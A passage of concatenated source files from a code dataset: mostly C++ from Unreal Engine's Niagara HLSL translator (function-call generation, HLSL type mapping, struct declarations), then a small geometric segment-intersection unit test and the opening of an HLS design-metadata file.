// We don't support an empty function definition when calling a real function.
if (FunctionDefStr.IsEmpty())
{
FunctionDefStr += TEXT("\n");
}
Functions.Add(OutSignature, FunctionDefStr);
ExitFunction();
}
}
else
{
check(InSignature.IsValid());
check(InSignature.bMemberFunction);
check(Inputs.Num() > 0);
OutSignature = InSignature;
//First input for these is the owner of the function.
int32 OwnerIdx = Inputs[0];
if (OwnerIdx < 0 || OwnerIdx >= CompilationOutput.DataInterfaceInfo.Num())
{
Error(LOCTEXT("FunctionCallDataInterfaceMissingRegistration", "Function call signature does not match to a registered DataInterface. Valid DataInterfaces should be wired into a DataInterface function call."), nullptr, nullptr);
return;
}
FNiagaraScriptDataInterfaceInfo& Info = CompilationOutput.DataInterfaceInfo[OwnerIdx];
// Double-check to make sure that the signature matches those specified by the data
// interface. It could be that the existing node has been removed and the graph
// needs to be refactored. If that's the case, emit an error.
if (Info.DataInterface != nullptr && OutSignature.bMemberFunction)
{
TArray<FNiagaraFunctionSignature> DataInterfaceFunctions;
Info.DataInterface->GetFunctions(DataInterfaceFunctions);
bool bFoundMatch = false;
for (const FNiagaraFunctionSignature& Sig : DataInterfaceFunctions)
{
if (Sig == OutSignature)
{
bFoundMatch = true;
}
}
if (!bFoundMatch)
{
Error(LOCTEXT("FunctionCallDataInterfaceMissing", "Function call signature does not match DataInterface possible signatures?"), nullptr, nullptr);
return;
}
if (Info.UserPtrIdx != INDEX_NONE)
{
//This interface requires per instance data via a user ptr so place the index to it at the end of the inputs.
Inputs.Add(AddSourceChunk(LexicalConversion::ToString(Info.UserPtrIdx), FNiagaraTypeDefinition::GetIntDef()));
OutSignature.Inputs.Add(FNiagaraVariable(FNiagaraTypeDefinition::GetIntDef(), TEXT("InstanceData")));
}
}
//Override the owner id of the signature with the actual caller.
OutSignature.OwnerName = Info.Name;
Info.RegisteredFunctions.Add(OutSignature);
Functions.FindOrAdd(OutSignature);
}
}
void FHlslNiagaraTranslator::GenerateFunctionCall(FNiagaraFunctionSignature& FunctionSignature, TArray<int32>& Inputs, TArray<int32>& Outputs)
{
EnterStatsScope(FNiagaraStatScope(*GetFunctionSignatureSymbol(FunctionSignature), FText::FromString(FunctionSignature.GetName())));
TArray<FString> MissingParameters;
int32 ParamIdx = 0;
TArray<int32> Params;
Params.Reserve(Inputs.Num() + Outputs.Num());
FString DefStr = GetFunctionSignatureSymbol(FunctionSignature) + TEXT("(");
for (int32 i = 0; i < FunctionSignature.Inputs.Num(); ++i)
{
FNiagaraTypeDefinition Type = FunctionSignature.Inputs[i].GetType();
//We don't write class types as real params in the hlsl
if (!Type.GetClass())
{
if (!AddStructToDefinitionSet(Type))
{
Error(FText::Format(LOCTEXT("GetConstantFailTypeVar2", "Cannot handle type {0}! Variable: {1}"), Type.GetNameText(), FText::FromName(FunctionSignature.Inputs[i].GetName())), nullptr, nullptr);
}
if (ParamIdx != 0)
{
DefStr += TEXT(", ");
}
int32 Input = Inputs[i];
bool bSkip = false;
if (FunctionSignature.Inputs[i].GetType() == FNiagaraTypeDefinition::GetParameterMapDef())
{
Input = INDEX_NONE;
bSkip = true;
}
if (!bSkip)
{
Params.Add(Input);
if (Input == INDEX_NONE)
{
MissingParameters.Add(FunctionSignature.Inputs[i].GetName().ToString());
}
else
{
DefStr += FString::Printf(TEXT("{%d}"), ParamIdx);
}
++ParamIdx;
}
}
}
for (int32 i = 0; i < FunctionSignature.Outputs.Num(); ++i)
{
FNiagaraVariable& OutVar = FunctionSignature.Outputs[i];
FNiagaraTypeDefinition Type = OutVar.GetType();
//We don't write class types as real params in the hlsl
if (!Type.GetClass())
{
if (!AddStructToDefinitionSet(Type))
{
Error(FText::Format(LOCTEXT("GetConstantFailTypeVar3", "Cannot handle type {0}! Variable: {1}"), Type.GetNameText(), FText::FromName(FunctionSignature.Outputs[i].GetName())), nullptr, nullptr);
}
if (ParamIdx > 0)
{
DefStr += TEXT(", ");
}
int32 Output = INDEX_NONE;
int32 ParamOutput = INDEX_NONE;
bool bSkip = false;
if (FunctionSignature.Outputs[i].GetType() == FNiagaraTypeDefinition::GetParameterMapDef())
{
if (i < FunctionSignature.Inputs.Num() && FunctionSignature.Inputs[i].GetType() == FNiagaraTypeDefinition::GetParameterMapDef())
{
Output = Inputs[i];
}
bSkip = true;
}
else
{
FString OutputStr = FString::Printf(TEXT("%sOutput_%s"), *GetFunctionSignatureSymbol(FunctionSignature), *OutVar.GetName().ToString());
Output = AddBodyChunk(GetUniqueSymbolName(*OutputStr), TEXT(""), OutVar.GetType());
ParamOutput = Output;
}
Outputs.Add(Output);
if (!bSkip)
{
Params.Add(ParamOutput);
if (ParamOutput == INDEX_NONE)
{
MissingParameters.Add(OutVar.GetName().ToString());
}
else
{
DefStr += FString::Printf(TEXT("{%d}"), ParamIdx);
}
++ParamIdx;
}
}
}
if (FunctionSignature.bRequiresContext)
{
if (ParamIdx > 0)
{
DefStr += TEXT(", ");
}
DefStr += "Context";
}
DefStr += TEXT(")");
if (MissingParameters.Num() > 0)
{
for (FString MissingParam : MissingParameters)
{
FText Fmt = LOCTEXT("ErrorCompilingParameterFmt", "Error compiling parameter {0} in function call {1}");
FText ErrorText = FText::Format(Fmt, FText::FromString(MissingParam), FText::FromString(GetFunctionSignatureSymbol(FunctionSignature)));
Error(ErrorText, nullptr, nullptr);
}
return;
}
AddBodyChunk(TEXT(""), DefStr, FNiagaraTypeDefinition::GetFloatDef(), Params);
ExitStatsScope();
}
FString FHlslNiagaraTranslator::GetFunctionSignatureSymbol(const FNiagaraFunctionSignature& Sig)
{
FString SigStr = Sig.GetName();
if (!Sig.OwnerName.IsNone() && Sig.OwnerName.IsValid())
{
SigStr += TEXT("_") + Sig.OwnerName.ToString().Replace(TEXT("."), TEXT(""));;
}
else
{
SigStr += TEXT("_Func_");
}
return GetSanitizedSymbolName(SigStr);
}
FString FHlslNiagaraTranslator::GetFunctionSignature(const FNiagaraFunctionSignature& Sig)
{
FString SigStr = TEXT("void ") + GetFunctionSignatureSymbol(Sig);
SigStr += TEXT("(");
int32 ParamIdx = 0;
for (int32 i = 0; i < Sig.Inputs.Num(); ++i)
{
const FNiagaraVariable& Input = Sig.Inputs[i];
//We don't write class types as real params in the hlsl
if (Input.GetType().GetClass() == nullptr)
{
if (Input.GetType() == FNiagaraTypeDefinition::GetParameterMapDef())
{
// Skip parameter maps.
}
else
{
if (ParamIdx > 0)
{
SigStr += TEXT(", ");
}
SigStr += FHlslNiagaraTranslator::GetStructHlslTypeName(Input.GetType()) + TEXT(" In_") + FHlslNiagaraTranslator::GetSanitizedSymbolName(Input.GetName().ToString());
++ParamIdx;
}
}
}
for (int32 i = 0; i < Sig.Outputs.Num(); ++i)
{
const FNiagaraVariable& Output = Sig.Outputs[i];
//We don't write class types as real params in the hlsl
if (Output.GetType().GetClass() == nullptr)
{
if (Output.GetType() == FNiagaraTypeDefinition::GetParameterMapDef())
{
// Skip output parameter maps..
}
else
{
if (ParamIdx > 0)
{
SigStr += TEXT(", ");
}
SigStr += TEXT("out ") + FHlslNiagaraTranslator::GetStructHlslTypeName(Output.GetType()) + TEXT(" Out_") + FHlslNiagaraTranslator::GetSanitizedSymbolName(Output.GetName().ToString());
++ParamIdx;
}
}
}
if (Sig.bRequiresContext)
{
if (ParamIdx > 0)
{
SigStr += TEXT(", ");
}
SigStr += TEXT("inout FSimulationContext Context");
}
return SigStr + TEXT(")");
}
int32 GetPinIndexById(const TArray<UEdGraphPin*>& Pins, FGuid PinId)
{
for (int32 i = 0; i < Pins.Num(); ++i)
{
if (Pins[i]->PinId == PinId)
{
return i;
}
}
return INDEX_NONE;
}
FNiagaraTypeDefinition FHlslNiagaraTranslator::GetChildType(const FNiagaraTypeDefinition& BaseType, const FName& PropertyName)
{
const UScriptStruct* Struct = BaseType.GetScriptStruct();
if (Struct != nullptr)
{
// Dig through properties to find the matching property native type (if it exists)
for (TFieldIterator<UProperty> PropertyIt(Struct, EFieldIteratorFlags::IncludeSuper); PropertyIt; ++PropertyIt)
{
const UProperty* Property = *PropertyIt;
if (Property->GetName() == PropertyName.ToString())
{
if (Property->IsA(UFloatProperty::StaticClass()))
{
return FNiagaraTypeDefinition::GetFloatDef();
}
else if (Property->IsA(UIntProperty::StaticClass()))
{
return FNiagaraTypeDefinition::GetIntDef();
}
else if (Property->IsA(UBoolProperty::StaticClass()))
{
return FNiagaraTypeDefinition::GetBoolDef();
}
else if (const UStructProperty* StructProp = CastChecked<UStructProperty>(Property))
{
return FNiagaraTypeDefinition(StructProp->Struct);
}
}
}
}
return FNiagaraTypeDefinition();
}
FString FHlslNiagaraTranslator::ComputeMatrixColumnAccess(const FString& Name)
{
FString Value;
int32 Column = -1;
if (Name.Find("X", ESearchCase::IgnoreCase) != -1)
Column = 0;
else if (Name.Find("Y", ESearchCase::IgnoreCase) != -1)
Column = 1;
else if (Name.Find("Z", ESearchCase::IgnoreCase) != -1)
Column = 2;
else if (Name.Find("W", ESearchCase::IgnoreCase) != -1)
Column = 3;
if (Column != -1)
{
Value.Append("[");
Value.AppendInt(Column);
Value.Append("]");
}
else
{
Error(FText::FromString("Failed to generate type for " + Name + " up to path " + Value), nullptr, nullptr);
}
return Value;
}
FString FHlslNiagaraTranslator::ComputeMatrixRowAccess(const FString& Name)
{
FString Value;
int32 Row = -1;
if (Name.Find("Row0", ESearchCase::IgnoreCase) != -1)
Row = 0;
else if (Name.Find("Row1", ESearchCase::IgnoreCase) != -1)
Row = 1;
else if (Name.Find("Row2", ESearchCase::IgnoreCase) != -1)
Row = 2;
else if (Name.Find("Row3", ESearchCase::IgnoreCase) != -1)
Row = 3;
if (Row != -1)
{
Value.Append("[");
Value.AppendInt(Row);
Value.Append("]");
}
else
{
Error(FText::FromString("Failed to generate type for " + Name + " up to path " + Value), nullptr, nullptr);
}
return Value;
}
FString FHlslNiagaraTranslator::NamePathToString(const FString& Prefix, const FNiagaraTypeDefinition& RootType, const TArray<FName>& NamePath)
{
// We need to deal with matrix parameters differently than any other type by using array syntax.
// As we recurse down the tree, we stay away of when we're dealing with a matrix and adjust
// accordingly.
FString Value = Prefix;
FNiagaraTypeDefinition CurrentType = RootType;
bool bParentWasMatrix = (RootType == FNiagaraTypeDefinition::GetMatrix4Def());
int32 ParentMatrixRow = -1;
for (int32 i = 0; i < NamePath.Num(); i++)
{
FString Name = NamePath[i].ToString();
CurrentType = GetChildType(CurrentType, NamePath[i]);
// Found a matrix... brackets from here on out.
if (CurrentType == FNiagaraTypeDefinition::GetMatrix4Def())
{
bParentWasMatrix = true;
Value.Append("." + Name);
}
// Parent was a matrix, determine row..
else if (bParentWasMatrix && CurrentType == FNiagaraTypeDefinition::GetVec4Def())
{
Value.Append(ComputeMatrixRowAccess(Name));
}
// Parent was a matrix, determine column...
else if (bParentWasMatrix && CurrentType == FNiagaraTypeDefinition::GetFloatDef())
{
Value.Append(ComputeMatrixColumnAccess(Name));
}
// Handle all other valid types by just using "."
else if (CurrentType.IsValid())
{
Value.Append("." + Name);
}
else
{
Error(FText::FromString("Failed to generate type for " + Name + " up to path " + Value), nullptr, nullptr);
}
}
return Value;
}
FString FHlslNiagaraTranslator::GenerateAssignment(const FNiagaraTypeDefinition& SrcPinType, const TArray<FName>& ConditionedSourcePath, const FNiagaraTypeDefinition& DestPinType, const TArray<FName>& ConditionedDestinationPath)
{
FString SourceDefinition = NamePathToString("{1}", SrcPinType, ConditionedSourcePath);
FString DestinationDefinition = NamePathToString("{0}", DestPinType, ConditionedDestinationPath);
return DestinationDefinition + " = " + SourceDefinition;
}
void FHlslNiagaraTranslator::Convert(class UNiagaraNodeConvert* Convert, TArray <int32>& Inputs, TArray<int32>& Outputs)
{
if (ValidateTypePins(Convert) == false)
{
return;
}
TArray<UEdGraphPin*> InputPins;
Convert->GetInputPins(InputPins);
TArray<UEdGraphPin*> OutputPins;
Convert->GetOutputPins(OutputPins);
// Generate outputs.
for (UEdGraphPin* OutputPin : OutputPins)
{
if (OutputPin->PinType.PinCategory == UEdGraphSchema_Niagara::PinCategoryType ||
OutputPin->PinType.PinCategory == UEdGraphSchema_Niagara::PinCategoryEnum)
{
FNiagaraTypeDefinition Type = Schema->PinToTypeDefinition(OutputPin);
int32 OutChunk = AddBodyChunk(GetUniqueSymbolName(*OutputPin->PinName), TEXT(""), Type);
Outputs.Add(OutChunk);
}
}
// Add an additional invalid output for the add pin which doesn't get compiled.
Outputs.Add(INDEX_NONE);
// Set output values based on connections.
for (FNiagaraConvertConnection& Connection : Convert->GetConnections())
{
int32 SourceIndex = GetPinIndexById(InputPins, Connection.SourcePinId);
int32 DestinationIndex = GetPinIndexById(OutputPins, Connection.DestinationPinId);
if (SourceIndex != INDEX_NONE && SourceIndex < Inputs.Num() && DestinationIndex != INDEX_NONE && DestinationIndex < Outputs.Num())
{
FNiagaraTypeDefinition SrcPinType = Schema->PinToTypeDefinition(InputPins[SourceIndex]);
TArray<FName> ConditionedSourcePath = ConditionPropertyPath(SrcPinType, Connection.SourcePath);
FNiagaraTypeDefinition DestPinType = Schema->PinToTypeDefinition(OutputPins[DestinationIndex]);
TArray<FName> ConditionedDestinationPath = ConditionPropertyPath(DestPinType, Connection.DestinationPath);
FString ConvertDefinition = GenerateAssignment(SrcPinType, ConditionedSourcePath, DestPinType, ConditionedDestinationPath);
TArray<int32> SourceChunks;
SourceChunks.Add(Outputs[DestinationIndex]);
SourceChunks.Add(Inputs[SourceIndex]);
AddBodyChunk(TEXT(""), ConvertDefinition, FNiagaraTypeDefinition::GetFloatDef(), SourceChunks);
}
}
}
void FHlslNiagaraTranslator::If(TArray<FNiagaraVariable>& Vars, int32 Condition, TArray<int32>& PathA, TArray<int32>& PathB, TArray<int32>& Outputs)
{
int32 NumVars = Vars.Num();
check(PathA.Num() == NumVars);
check(PathB.Num() == NumVars);
TArray<FString> OutSymbols;
OutSymbols.Reserve(Vars.Num());
for (FNiagaraVariable& Var : Vars)
{
OutSymbols.Add(GetUniqueSymbolName(*(Var.GetName().ToString() + TEXT("_IfResult"))));
Outputs.Add(AddBodyChunk(OutSymbols.Last(), TEXT(""), Var.GetType(), true));
}
AddBodyChunk(TEXT(""), TEXT("if({0})\n\t{"), FNiagaraTypeDefinition::GetFloatDef(), Condition, false, false);
for (int32 i = 0; i < NumVars; ++i)
{
FNiagaraCodeChunk& OutChunk = CodeChunks[Outputs[i]];
FNiagaraCodeChunk& BranchChunk = CodeChunks[AddBodyChunk(OutSymbols[i], TEXT("{0}"), OutChunk.Type, false)];
BranchChunk.AddSourceChunk(PathA[i]);
}
AddBodyChunk(TEXT(""), TEXT("}\n\telse\n\t{"), FNiagaraTypeDefinition::GetFloatDef(), false, false);
for (int32 i = 0; i < NumVars; ++i)
{
FNiagaraCodeChunk& OutChunk = CodeChunks[Outputs[i]];
FNiagaraCodeChunk& BranchChunk = CodeChunks[AddBodyChunk(OutSymbols[i], TEXT("{0}"), OutChunk.Type, false)];
BranchChunk.AddSourceChunk(PathB[i]);
}
AddBodyChunk(TEXT(""), TEXT("}"), FNiagaraTypeDefinition::GetFloatDef(), false, false);
// Add an additional invalid output for the add pin which doesn't get compiled.
Outputs.Add(INDEX_NONE);
}
int32 FHlslNiagaraTranslator::CompilePin(UEdGraphPin* Pin)
{
check(Pin);
int32 Ret = INDEX_NONE;
FNiagaraTypeDefinition TypeDef = Schema->PinToTypeDefinition(Pin);
if (Pin->Direction == EGPD_Input)
{
if (Pin->LinkedTo.Num() > 0)
{
Ret = CompileOutputPin(Pin->LinkedTo[0]);
}
else if (!Pin->bDefaultValueIsIgnored && Pin->PinType.PinCategory == UEdGraphSchema_Niagara::PinCategoryType)
{
if (TypeDef == FNiagaraTypeDefinition::GetParameterMapDef())
{
Error(FText::FromString(TEXT("Cannot create a constant ParameterMap!")), Cast<UNiagaraNode>(Pin->GetOwningNode()), Pin);
return INDEX_NONE;
}
else
{
//No connections to this input so add the default as a const expression.
FNiagaraVariable PinVar = Schema->PinToNiagaraVariable(Pin, true);
return GetConstant(PinVar);
}
}
else if (!Pin->bDefaultValueIsIgnored && Pin->PinType.PinCategory == UEdGraphSchema_Niagara::PinCategoryEnum)
{
//No connections to this input so add the default as a const expression.
FNiagaraVariable PinVar = Schema->PinToNiagaraVariable(Pin, true);
return GetConstant(PinVar);
}
}
else
{
Ret = CompileOutputPin(Pin);
}
return Ret;
}
int32 FHlslNiagaraTranslator::CompileOutputPin(UEdGraphPin* Pin)
{
check(Pin->Direction == EGPD_Output);
int32 Ret = INDEX_NONE;
int32* Chunk = PinToCodeChunks.Last().Find(Pin);
if (Chunk)
{
Ret = *Chunk; //We've compiled this pin before. Return it's chunk.
}
else
{
//Otherwise we need to compile the node to get its output pins.
UNiagaraNode* Node = Cast<UNiagaraNode>(Pin->GetOwningNode());
if (ValidateTypePins(Node))
{
TArray<int32> Outputs;
TArray<UEdGraphPin*> OutputPins;
Node->GetOutputPins(OutputPins);
FHlslNiagaraTranslator* ThisTranslator = this;
Node->Compile(ThisTranslator, Outputs);
if (OutputPins.Num() == Outputs.Num())
{
for (int32 i = 0; i < Outputs.Num(); ++i)
{
//Cache off the pin.
//Can we allow the caching of local defaults in numerous function calls?
PinToCodeChunks.Last().Add(OutputPins[i], Outputs[i]);
if (Outputs[i] != INDEX_NONE)
{
//Grab the expression for the pin we're currently interested in. Otherwise we'd have to search the map for it.
Ret = OutputPins[i] == Pin ? Outputs[i] : Ret;
}
}
}
else
{
Error(LOCTEXT("IncorrectNumOutputsError", "Incorect number of outputs. Can possibly be fixed with a graph refresh."), Node, Pin);
}
}
}
return Ret;
}
void FHlslNiagaraTranslator::Error(FText ErrorText, UNiagaraNode* Node, UEdGraphPin* Pin)
{
FString ErrorString = FString::Printf(TEXT("Node: @@ - Pin: @@ - %s - Callstack: %s"), *ErrorText.ToString(), *GetCallstack());
MessageLog.Error(*ErrorString, Node, Pin);
}
void FHlslNiagaraTranslator::Warning(FText WarningText, UNiagaraNode* Node, UEdGraphPin* Pin)
{
FString WarnString = FString::Printf(TEXT("Node: @@ - Pin: @@ - %s - Callstack: %s"), *WarningText.ToString(), *GetCallstack());
MessageLog.Warning(*WarnString, Node, Pin);
}
bool FHlslNiagaraTranslator::GetFunctionParameter(const FNiagaraVariable& Parameter, int32& OutParam)const
{
// Assume that it wasn't bound by default.
OutParam = INDEX_NONE;
if (const FFunctionContext* FunctionContext = FunctionCtx())
{
int32 ParamIdx = FunctionContext->Signature.Inputs.IndexOfByPredicate([&](const FNiagaraVariable& InVar) { return InVar.IsEquivalent(Parameter); });
if (ParamIdx != INDEX_NONE)
{
OutParam = FunctionContext->Inputs[ParamIdx];
}
return true;
}
return false;
}
bool FHlslNiagaraTranslator::CanReadAttributes()const
{
if (Script->IsParticleUpdateScript() || (Script->IsInterpolatedParticleSpawnScript() && !bInsideInterpolatedSpawnScript))
{
return true;
}
return false;
}
ENiagaraScriptUsage FHlslNiagaraTranslator::GetTargetUsage() const
{
if (Script->IsInterpolatedParticleSpawnScript())
{
return ENiagaraScriptUsage::ParticleSpawnScript;
}
return Script->GetUsage();
}
int32 FHlslNiagaraTranslator::GetTargetOccurrence() const
{
return Script->GetUsageIndex();
}
//////////////////////////////////////////////////////////////////////////
FString FHlslNiagaraTranslator::GetHlslDefaultForType(FNiagaraTypeDefinition Type)
{
if (Type == FNiagaraTypeDefinition::GetFloatDef())
{
return "(0.0)";
}
else if (Type == FNiagaraTypeDefinition::GetVec2Def())
{
return "(0.0,0.0)";
}
else if (Type == FNiagaraTypeDefinition::GetVec3Def())
{
return "(0.0,0.0,0.0)";
}
else if (Type == FNiagaraTypeDefinition::GetVec4Def())
{
return "(0.0,0.0,0.0,0.0)";
}
else if (Type == FNiagaraTypeDefinition::GetColorDef())
{
return "(1.0,1.0,1.0,1.0)";
}
else if (Type == FNiagaraTypeDefinition::GetIntDef())
{
return "(0)";
}
else if (Type == FNiagaraTypeDefinition::GetBoolDef())
{
return "(true)";
}
else
{
return Type.GetName();
}
}
bool FHlslNiagaraTranslator::IsBuiltInHlslType(FNiagaraTypeDefinition Type)
{
return
Type == FNiagaraTypeDefinition::GetFloatDef() ||
Type == FNiagaraTypeDefinition::GetVec2Def() ||
Type == FNiagaraTypeDefinition::GetVec3Def() ||
Type == FNiagaraTypeDefinition::GetVec4Def() ||
Type == FNiagaraTypeDefinition::GetColorDef() ||
Type == FNiagaraTypeDefinition::GetMatrix4Def() ||
Type == FNiagaraTypeDefinition::GetIntDef() ||
Type.GetStruct() == FNiagaraTypeDefinition::GetIntStruct() ||
Type == FNiagaraTypeDefinition::GetBoolDef();
}
FString FHlslNiagaraTranslator::GetStructHlslTypeName(FNiagaraTypeDefinition Type)
{
if (Type.IsValid() == false)
{
return "undefined";
}
else if (Type == FNiagaraTypeDefinition::GetFloatDef())
{
return "float";
}
else if (Type == FNiagaraTypeDefinition::GetVec2Def())
{
return "float2";
}
else if (Type == FNiagaraTypeDefinition::GetVec3Def())
{
return "float3";
}
else if (Type == FNiagaraTypeDefinition::GetVec4Def() || Type == FNiagaraTypeDefinition::GetColorDef())
{
return "float4";
}
else if (Type == FNiagaraTypeDefinition::GetMatrix4Def())
{
return "float4x4";
}
else if (Type == FNiagaraTypeDefinition::GetIntDef() || Type.GetEnum() != nullptr)
{
return "int";
}
else if (Type == FNiagaraTypeDefinition::GetBoolDef())
{
return "bool";
}
else if (Type == FNiagaraTypeDefinition::GetParameterMapDef())
{
return "FParamMap0";
}
else
{
return Type.GetName();
}
}
FString FHlslNiagaraTranslator::GetPropertyHlslTypeName(const UProperty* Property)
{
if (Property->IsA(UFloatProperty::StaticClass()))
{
return "float";
}
else if (Property->IsA(UIntProperty::StaticClass()))
{
return "int";
}
else if (Property->IsA(UUInt32Property::StaticClass()))
{
return "int";
}
else if (Property->IsA(UStructProperty::StaticClass()))
{
const UStructProperty* StructProp = Cast<const UStructProperty>(Property);
return GetStructHlslTypeName(StructProp->Struct);
}
else if (Property->IsA(UEnumProperty::StaticClass()))
{
const UEnumProperty* EnumProp = Cast<const UEnumProperty>(Property);
return "int";
}
else
{
check(false); // unknown type
return TEXT("UnknownType");
}
}
FString FHlslNiagaraTranslator::BuildHLSLStructDecl(FNiagaraTypeDefinition Type)
{
if (!IsBuiltInHlslType(Type))
{
FString StructName = GetStructHlslTypeName(Type);
FString Decl = "struct " + StructName + "\n{\n";
for (TFieldIterator<UProperty> PropertyIt(Type.GetStruct(), EFieldIteratorFlags::IncludeSuper); PropertyIt; ++PropertyIt)
{
UProperty* Property = *PropertyIt;
Decl += TEXT("\t") + GetPropertyHlslTypeName(Property) + TEXT(" ") + Property->GetName() + TEXT(";\n");
}
Decl += "};\n\n";
return Decl;
}
return TEXT("");
}
bool FHlslNiagaraTranslator::IsHlslBuiltinVector(FNiagaraTypeDefinition Type)
{
if ((Type == FNiagaraTypeDefinition::GetVec2Def()) ||
(Type == FNiagaraTypeDefinition::GetVec3Def()) ||
(Type == FNiagaraTypeDefinition::GetVec4Def()) ||
(Type == FNiagaraTypeDefinition::GetColorDef()))
{
return true;
}
return false;
}
bool FHlslNiagaraTranslator::AddStructToDefinitionSet(const FNiagaraTypeDefinition& TypeDef)
{
// First make sure that this is a type that we do need to define...
if (IsBuiltInHlslType(TypeDef))
{
return true;
}
if (TypeDef == FNiagaraTypeDefinition::GetGenericNumericDef())
{
return false;
}
// We build these types on-the-fly.
if (TypeDef == FNiagaraTypeDefinition::GetParameterMapDef())
{
return true;
}
// Now make sure that we don't have any other struct types within our struct. Add them prior to the struct in question to make sure
// that the syntax works out properly.
const UScriptStruct* Struct = TypeDef.GetScriptStruct();
if (Struct != nullptr)
{
// We need to recursively dig through the struct to get at the lowest level of the input struct, which
// could be a native type.
for (TFieldIterator<UProperty> PropertyIt(Struct, EFieldIteratorFlags::IncludeSuper); PropertyIt; ++PropertyIt)
{
const UProperty* Property = *PropertyIt;
const UStructProperty* StructProp = Cast<const UStructProperty>(Property);
if (StructProp)
{
if (!AddStructToDefinitionSet(StructProp->Struct))
{
return false;
}
}
}
// Add the new type def
StructsToDefine.AddUnique(TypeDef);
}
return true;
}
TArray<FName> FHlslNiagaraTranslator::ConditionPropertyPath(const FNiagaraTypeDefinition& Type, const TArray<FName>& InPath)
{
// TODO: Build something more extensible and less hard coded for path conditioning.
const UScriptStruct* Struct = Type.GetScriptStruct();
if (InPath.Num() == 0) // Pointing to the root
{
return TArray<FName>();
}
else if (IsHlslBuiltinVector(Type))
{
checkf(InPath.Num() == 1, TEXT("Invalid path for vector"));
TArray<FName> ConditionedPath;
ConditionedPath.Add(*InPath[0].ToString().ToLower());
return ConditionedPath;
}
else if (FNiagaraTypeDefinition::IsScalarDefinition(Struct))
{
return TArray<FName>();
}
else if (Struct != nullptr)
{
// We need to recursively dig through the struct to get at the lowest level of the input path specified, which
// could be a native type.
for (TFieldIterator<UProperty> PropertyIt(Struct, EFieldIteratorFlags::IncludeSuper); PropertyIt; ++PropertyIt)
{
const UProperty* Property = *PropertyIt;
const UStructProperty* StructProp = Cast<const UStructProperty>(Property);
// The names match, but even then things might not match up properly..
if (InPath[0].ToString() == Property->GetName())
{
// The names match and this is a nested type, so we can keep digging...
if (StructProp != nullptr)
{
// If our path continues onward, keep recursively digging. Otherwise, just return where we've gotten to so far.
if (InPath.Num() > 1)
{
TArray<FName> ReturnPath;
ReturnPath.Add(InPath[0]);
TArray<FName> Subset = InPath;
Subset.RemoveAt(0);
TArray<FName> Children = ConditionPropertyPath(StructProp->Struct, Subset);
for (const FName& Child : Children)
{
ReturnPath.Add(Child);
}
return ReturnPath;
}
else
{
TArray<FName> ConditionedPath;
ConditionedPath.Add(InPath[0]);
return ConditionedPath;
}
}
}
}
return InPath;
}
return InPath;
}
//////////////////////////////////////////////////////////////////////////
FString FHlslNiagaraTranslator::CompileDataInterfaceFunction(UNiagaraDataInterface* DataInterface, FNiagaraFunctionSignature& Signature)
{
//For now I'm compiling data interface functions like this.
//Not the prettiest thing in the world but it'll suffice for now.
if (UNiagaraDataInterfaceCurve* Curve = Cast<UNiagaraDataInterfaceCurve>(DataInterface))
{
//For now, VM only which needs no body. GPU will need a body.
return TEXT("");
}
else if (UNiagaraDataInterfaceVectorCurve* VecCurve = Cast<UNiagaraDataInterfaceVectorCurve>(DataInterface))
{
//For now, VM only which needs no body. GPU will need a body.
return TEXT("");
}
else if (UNiagaraDataInterfaceColorCurve* ColorCurve = Cast<UNiagaraDataInterfaceColorCurve>(DataInterface))
{
//For now, VM only which needs no body. GPU will need a body.
return TEXT("");
}
else if (UNiagaraDataInterfaceVector2DCurve* Vec2DCurve = Cast<UNiagaraDataInterfaceVector2DCurve>(DataInterface))
{
//For now, VM only which needs no body. GPU will need a body.
return TEXT("");
}
else if (UNiagaraDataInterfaceVector4Curve* Vec4Curve = Cast<UNiagaraDataInterfaceVector4Curve>(DataInterface))
{
//For now, VM only which needs no body. GPU will need a body.
return TEXT("");
}
else if (UNiagaraDataInterfaceStaticMesh* Mesh = Cast<UNiagaraDataInterfaceStaticMesh>(DataInterface))
{
return TEXT("");
}
else if (UNiagaraDataInterfaceCurlNoise* Noise = Cast<UNiagaraDataInterfaceCurlNoise>(DataInterface))
{
return TEXT("");
}
else
{
return TEXT("");
check(0);
}
}
#undef LOCTEXT_NAMESPACE
| 36.257116 | 306 | 0.730942 | windystrife |
15056175e8e1705fdb2a9d2fc0b33cdca726924d | 562 | cpp | C++ | test/unit_tests/tests/12_geometric_test.cpp | bacchus/bacchuslib | 35c41b6a7244227c0779c99b3c2f98b9a8349477 | [
"MIT"
] | null | null | null | test/unit_tests/tests/12_geometric_test.cpp | bacchus/bacchuslib | 35c41b6a7244227c0779c99b3c2f98b9a8349477 | [
"MIT"
] | null | null | null | test/unit_tests/tests/12_geometric_test.cpp | bacchus/bacchuslib | 35c41b6a7244227c0779c99b3c2f98b9a8349477 | [
"MIT"
] | null | null | null | #include "setting.h"
#include "math/geometric.h"
using namespace bacchus;
/*
* p1------p2
* \ direction > 0
* \
* p0
*/
TEST(geometric_test, segments_intersection) {
vec2f p0(5,5);
vec2f p1(2,10);
vec2f p2(8,10);
EXPECT_TRUE(direction(p0,p1,p2) > 0.f);
EXPECT_TRUE(direction(p0,p2,p1) < 0.f);
EXPECT_TRUE(onsegment(p1,p2,vec2f(5,10)));
EXPECT_TRUE(segments_intersect(p1,p2,p0,vec2f(5,15)));
EXPECT_FALSE(segments_intersect(p1,p2,p0,vec2f(10,5)));
EXPECT_TRUE(segments_intersect(p1,p2,p0,p1));
}
| 20.814815 | 59 | 0.628114 | bacchus |
150815ecc5231eba661565cfa69dbe0aadc4dc9e | 1,805 | cpp | C++ | networklayer/synthesis_results_HMB/ETH_inserter_hls_prj/ultrascale_plus/.autopilot/db/hls_design_meta.cpp | OCT-FPGA/udp-network-demo | 76fba0d4315abf7bffe77959a2501c287f20ecec | [
"BSD-3-Clause"
] | null | null | null | networklayer/synthesis_results_HMB/ETH_inserter_hls_prj/ultrascale_plus/.autopilot/db/hls_design_meta.cpp | OCT-FPGA/udp-network-demo | 76fba0d4315abf7bffe77959a2501c287f20ecec | [
"BSD-3-Clause"
] | null | null | null | networklayer/synthesis_results_HMB/ETH_inserter_hls_prj/ultrascale_plus/.autopilot/db/hls_design_meta.cpp | OCT-FPGA/udp-network-demo | 76fba0d4315abf7bffe77959a2501c287f20ecec | [
"BSD-3-Clause"
] | null | null | null | #include "hls_design_meta.h"
const Port_Property HLS_Design_Meta::port_props[]={
Port_Property("dataIn_TDATA", 512, hls_in, 0, "axis", "in_data", 1),
Port_Property("dataIn_TKEEP", 64, hls_in, 1, "axis", "in_data", 1),
Port_Property("dataIn_TSTRB", 64, hls_in, 2, "axis", "in_data", 1),
